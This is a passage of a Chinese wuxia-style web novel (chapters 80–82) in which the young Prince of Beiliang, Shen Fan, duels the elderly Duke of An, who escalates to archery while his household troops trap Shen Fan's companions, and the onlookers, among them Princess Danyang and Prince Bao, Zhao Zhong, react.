偏房内,王父对女儿道。 王灵瑶正全神贯注看着比武,下意识回了句:“我也没想到。” “呵呵。”一旁的郑天泽笑道:“武功厉害又如何,他还是打不过我爷爷,他老人家只是在试探,马上就使全力了,等着看这小子死吧!” 王父也笑道:“对,安老国公的武功天下第一。” 说话间,沈凡与郑建山已是过了十余招。 身经百战的郑建山已是试出了沈凡的实力,招式上不在留手,轻喝一声,双锤舞得更密。 沈凡只觉对方攻势忽增,刚才还能看清的锤影变得模糊起来,仿佛四面八方全是锤子在砸向自己。 暗道声不好,为了脱困,冲郑建山的胸口猛刺过去,马朔的尖刃在空中发出煞人的鸣响。 沈凡本以为这一击就是不中也能打乱对方的攻势,不想忽觉手中的马朔一轻,耳轮中传来“咔”一声脆响。 原来马朔的尖刃不知怎么已被双锤夹住,在郑建山两臂搅动间断为两截。 就在沈凡惊鄂时,郑建山顺势一甩,马朔的尖刃如发射出的强弩,带着一道寒光已是到了眼前。 来不及回朔格挡的沈凡一个前空翻躲过,朔刃堪堪从后背掠过,直直扎进了几丈外的廊柱上,竟将廊柱打了个对穿。 可危机还没有解除,沈凡在半空下落时,郑建山如鬼魅般已是到了近前,两柄金锤自下而上撩起,照着沈凡的的天灵盖就打了过去。 眼见身空中的沈凡没有任何着力点,更谈不上躲避,丹阳公主、张凤、艳姑姑几人都发出一声惊呼。 赵忠手里的瓜子“哗啦啦”掉落在地,心道怎么比武成了以命相搏? 丁奉、徐盛、韩当、周泰虽离着近,可这时出手相助也来不及了。 就在千钧一发之际,半空中的沈凡猛得一抡马朔,自上而下迎着两柄金锤就砸了下去。 “咔嚓”一声脆响中,没了朔刃的马朔与金锤相碰间断为两截,木屑溅了郑建山一头脸。 沈凡借着这一击的反弹,身形在半空中又是一个空翻,从郑建山头顶跃过,算是躲过了着致命一击。 “好小子,接着来!”郑建山没想到沈凡的应变能力这么好,吐着嘴里的木屑,晃动双锤又扑了过来。 此时沈凡的手里只剩下一小截马朔杆,比擀面杖长不了多少,指着它与金锤相抗已无可能。 本着打得过就打,打不过就跑的法子,沈凡将马朔杆掷向郑建山,然后围着练武场就开跑…… 第八十一章:有本事别出练武场 “你跑得了吗?”郑建山用金锤磕飞沈凡抛来的马朔杆就追。 沈凡边跑边道:“老国公莫说大话,有本事追上我。” 郑建山叫道:“有本事你别出这练武场。” 沈凡道:“出了练武场晚辈不就输了吗。” 郑建山:“好,哇呀呀……哇呀呀……” 于是,偌大的练武场内出现了这样一幕奇景。 九十多岁,须发皆白,咬牙切齿的郑建山提着两柄硕大的金锤,狂追两手空空健步如飞的沈凡。 只是跑了一圈,郑建山就发现自己拎着双锤是跑不过这小子,干脆丢掉锤子张牙舞爪继续追。 他本来就比沈凡高出一头,腿长手也长,加之又变成了轻装上阵,转瞬间已是到了沈凡身后,照着他的后脑就是一拳。 沈凡摆头避开,郑建山的老拳老腿又如海浪般袭来。 老家伙,没了锤子还这么牛,不知道拳怕少壮么…… 沈凡也怒了,低吼一声,双拳交叉架住了郑建山砸来的拳头。 下一瞬沈凡就知道自己想错了,老家伙的拳头力道极重,接触的同时感觉自己的手腕都要折了。 眼见郑建山身子一侧,如蛮牛般用肩膀撞向自己,沈凡不在硬碰硬,向旁边一闪的同时踢出一腿,正中郑建山胸口。 郑建山闷哼一声后退半步,低头看了眼胸口的脚印。 从没吃过这亏的他大叫一声,看向沈凡的眼睛都红了,裂开大嘴,呲着一口残缺的黄牙就扑了回去,仿若一头发疯的老狮王。 这一刻郑建山只有一个念想,就是要将沈凡活撕了。 沈凡全然不惧,施展拳脚照着郑建山就是一顿腿踹、膝袭、肘击…… 可郑建山凭借一身横练功夫全然不惧,有几次竟张嘴去咬沈凡的脖子,把沈凡恶心坏了。 看着这个拳打不动,脚踢不伤的人形怪兽,沈凡很是头疼。 不在轻易出招,两脚持续踩地发力,身形围着郑建山滴溜溜乱转,让对方打出的拳山腿海全落了空。 此时在丹阳公主等人看来,沈凡就像一只轻盈的狸猫,在郑建山身前身后左窜右跳。 看似凶险,可每次都险之又险避开了对方的拳脚。 “好身法,这场比武有看头。”张凤不禁赞道。 “你是说北凉王能够取胜?”丹阳公主问,水汪汪的眼中闪烁着期待的光芒。 不料张凤却摇头道:“难,北凉王身法虽轻盈,可也没有反击的机会,安国公的武功强与他。” 丹阳公主心一紧…… 正如张凤所说,沈凡虽然能暂时躲过郑建山的攻击,可因为没有机会出手反击。 正这时,沈凡发现郑建山一记右直拳打来的同时,左手并没有护在头胸,而是随着摆动的惯性高高举起,露出了头胸要害。 好机会……沈凡侧脸躲过对方的右直拳,右手同时一甩,一把雪亮的匕首冲着郑建山的面门就刺了过去。 郑建山哈哈一笑,头微微一偏就躲过了飞来匕首,却不防沈凡的左拳已经打了过来。 刚躲过匕首的郑建山想躲已经来不及,就听一声打在沙包上的声音响起,脸瞬间瘪了下去,嘴里飞出两颗大黄牙,被金冠束着的一头白发同时跟着散开。 原来沈凡早就料到就算郑建山出现了破绽,以对方的武功自己掷出的匕首九成也扎不中,所以才用了声东击西的招数。 右手飞出的匕首只是吸引对方的注意,左拳打脸才是实招。 中了……沈凡心中一喜,紧跟着就是一记撩阴腿踢向郑建山的裆部。 老家伙,这次就不是打掉你的牙了。 可下一瞬沈凡就感到不对,对方的裆部根本就没有软软的一坨,自己这一脚仿若踢在了一块铁板上。 眼见郑建山双腿快速并拢,沈凡脑海中电光火石般闪过一个念头。 不好!他的横练功夫已经练到了缩阴的程度,刚才的破绽是故意卖给自己的。 沈凡以极快的速度往回收腿,躲过了郑建山双腿的夹击。 与此同时,就见郑建山的手臂平行推出,两只碗大的拳头对着自己的胸膛就打了过来。 眼见躲不开了,沈凡猛得提起一口气硬抗。 “砰”得一声闷响中,沈凡的外套瞬间裂开,露出了里面的软甲,紧跟着倒飞一丈有余,落地后又像皮球一样滚了好几圈。 “小子,还挺狡诈,跟老夫来声东击西!” 一击得中的郑建山难掩喜色道,忽然感觉说话漏风,一抹嘴才发现手上都是血。 尸山血海中爬出来的他对血没什么感觉,反而只会让他更兴奋。 可当看到脚下还有两颗黄澄澄之物时却彻底怒了,一甩满头乱糟糟的白发,冲着沈凡就扑了过去,吼道: “兔崽子,老夫就剩这两颗好门牙了!” 见郑建山杀气腾腾再次扑来,沈凡顾不上胸口的剧痛,就地一个翻滚躲过,跳起来继续发足狂奔。 于是,练武场上再次出现了刚才的一幕。 沈凡在前面死命疯跑,郑建山在后面死命狂追。 此时的沈凡已经没了与对方缠斗的想法,虽然刚才的偷袭得了手,可也只打掉了对方两颗牙。 而自己已是受了伤,要是没有软甲的保护恐怕连命都保不住,再缠斗下去必败无疑。 可他并不想就这样认输,自己身为新北凉王,决不能给父王的英名抹黑。 还是老法子,打不过你还跑不过你,只要把你追不上我,也算打个平手。 于是,沈凡利用自己腿脚好的优势围着练武场狂奔,时不时还跑出个曲形,让郑建山根本抓不到分毫。 只是十几个呼吸的功夫,沈凡就听到身后传来了沉重的脚步声。 偷眼看去,奔跑中的郑建山身子已经开始前倾,那条有伤的腿也开始不利落起来。 一个九十多岁的老家伙,就算你是大夏武神,就算你天生异禀,就算你武功再高,也无法摆脱生老病死的规律。 老家伙,累也能把你累趴下! 想到这沈凡信心更足了,边跑边气郑建山:“安老国公,打不过我也没关系,就算我们打个平手如何?” 郑建山:“哇呀呀……哇呀呀……” 第八十二章:宝亲王的小心思 丹阳公主、张凤、艳姑姑、徐盛他们自然看出了沈凡的意思,想用自己的年轻的优势耗死这老家伙。 看着一老一小做着老鹰捉小鸡的游戏,丹阳公主忍不住捂嘴轻乐,对身边的张凤道:“安国公有腿疾是本宫和沈凡说的。” 张凤忍不住也笑了。 此时的宝亲王赵忠也看出了些端倪……不对,这不是简单的比武,安国公明显有借比武弄死北凉王的意思。 可安国公为何要弄死这个新晋北凉王呢? 赵忠眉头微微一皱,想到了沈凡告发了郑天泽的事…… 别看他是个荒唐王爷,可能在风云变幻的朝局中活到现在绝非偶然,只略加思考就理清了这里的节点。 郑建山,好你个老匹夫,亏你想得出这般妙计。 自诩有丹书铁券就要借比武替你孙子除掉敌手,还假惺惺把本王请来,是想利用本王当见证。 这帮老勋贵呀,难怪皇兄要拿你们开刀,真是为了家族利益不择手段。 可丹阳怎么也来了……赵忠撇了眼侄女,从她紧张的神情里又明白了什么。 这丫头是长大了,怀春了…… 就在这时,赵忠心里突然涌起一个念头。 如果安国公真把沈凡弄死了,自己和谢小蛮在教坊司的事不就没人知道了么……想到这的赵忠嘴角撇出一丝坏笑。 偏房内,王灵瑶一直咬着牙从窗户的缝隙向外看着。 她虽然恨沈凡,但还没到很他死的地步。 “灵瑶你不要担心,我爷爷定能杀了他。”郑天泽轻声对王灵瑶道。 王灵瑶娇躯微微一抖,忙点了点头。 “我说贤婿,兵器架上有弓箭,老国公怎不用呀?”说这话是王父。 “别着急”郑天泽道:“我看到爷爷已经瞄了几次弓箭的方向了。” “那就好,快拿呀,快拿呀!”王父叨咕着。 听到这话的王灵瑶不由握起了拳,眼中现出几分担心。 时间过得很快,沈凡和郑建山已是跑了快半柱香了。 春暖乍寒的天气里,两人都跑得热气腾腾,远远看去都冒着白气。 沈凡此时是越跑越轻松,看到气喘吁吁,腿脚越来越不利索的郑建山,非常有信心跑死这老家伙。 可他还是高估了郑建山的无耻,为了杀自己已经没了底线。 在经过兵器架的时候,忽然抄起上面的弓箭,以极快的速度弯弓搭箭,对着自己就射出了一箭。 沈凡的脑袋“嗡”得一声,自己跑得在快也跑不过弓箭,就地一个翻滚,箭矢擦着头皮呼啸而过,钉进了远处的砖墙里。 见郑建山又在搭箭,沈凡也跑到兵器架前,快速取下一个圆盾护在身前。 “铛!”一支箭矢钉在了盾上。 沈凡看到,箭头竟穿过了盾牌,要不是这盾是木板加牛皮的厚盾,自己非得来个对穿不可。 “安国公你要干什么,这是公平的比武吗?”沈凡高着盾牌喊道。 “射箭也是比武。”郑建山继续开弓放箭。 他这手连珠箭是武将的必修课,被称为六艺之一,只两个呼吸的功夫,沈凡的盾上就多了五六支箭羽。 这一变化来的太快,丹阳公主立刻喊道:“安国公快住手,比武到此结束。” 可郑建山就像没听见般,继续开弓放箭的同时还大步逼近沈凡。 意思很明显,就是只要拖住沈凡,就算不用箭也能把对方打死。 另一边,徐盛、丁奉、韩当、周泰已经向沈凡跑了过去。 没想到四周忽然涌来十几个拿着刀的府兵,一下就将他们围在了中间。 徐盛几人刚要对方厮杀,就听府兵里有人打了呼哨,顷刻间就飞来了几张渔网,层层叠叠将几人网住。 徐盛他们想用刀割渔网,又被对方一通棍棒把刀打落,随着渔网被收紧,被彻底困在了里面。 好在这些安国府的府兵并没有伤他们的意思,不然一通乱刀下去几人都会命丧当场。 丹阳公主见状大惊,不顾一切跑进练武场,不想却被十几个安国府里的婢女拦住。 “殿下不可进场,危险。” 随着一个婢女叫道,其她十几个婢女也跟着喊道,张开手臂用身体在丹阳公主面向组成了一道人墙。 “尔等闪开,惊了驾乃死罪!”艳姑姑护在丹阳公主身前叫道。 身为丹阳公主侍卫的张凤则毫不犹疑的出了手,将这些婢女打倒在地。 这些婢女发出杀猪般的叫声,鼻涕一把泪一把,与渔网里徐盛几人的怒吼声交织在一起。 看着躺在地上哭喊的婢女,丹阳公主一时也进不了练武场,只能对这郑建山喊道:“安国公,你要造反吗?” 还在对沈凡射箭的郑建山回道:“殿下不要误会,臣只是在与北凉王比武。” “赶快去阻止他。”丹阳公主对张凤道。 可张凤却没有动,挡在丹阳公主身前道:“不行殿下,老奴现在必须要保护您。” 丹阳公主知道张凤并不是违反自己的命令,而是职责所在,如果自己有什么闪失,他会被诛九族的。 情急之下忽然想起了什么,看向旁边的赵忠道:“皇叔,赶快阻止安国公。” 之所以这么说,是因为丹阳公主今天没带侍卫,而皇叔却带了一队足有二十人的侍卫。 这些人早已闻声而至,横亘在皇叔身前。 赵忠被发生的一切也惊得够呛,嘴角一抽,结结巴巴的道:“这,这,这是怎么了?” “怎么了,没看出来安国公疯了么,他这是要害沈凡的性命。”丹阳公主叫道。 “不能吧?”赵忠还在想着自己的小九九,故意拖延道。 此时郑建山已经到了沈凡近前,一脚踹在了盾牌上。 沈凡用盾牌护着身体就地一滚,反手将盾牌向郑建山丢过去,趁着郑建山一拳打飞盾牌的机会转身就跑。 丹阳公主见状喊道:“往我这边跑,往我这边跑!” 其实不用她喊,沈凡跑的方向就是这边。 可丹阳公主却看到,沈凡在离自己不到一丈的地方忽然拐了个弯,然后就跳到了皇叔赵忠身后说了句什么? “哎呀,你往他那跑什么,他能保护你吗?”丹阳公主叫道。 可下一瞬她看到皇叔眼睛一瞪,对着追过来的郑建山厉声道:“安国公,本王命你退下……来人呐,给我把他拦住!” 丹阳公主……这是啥情况?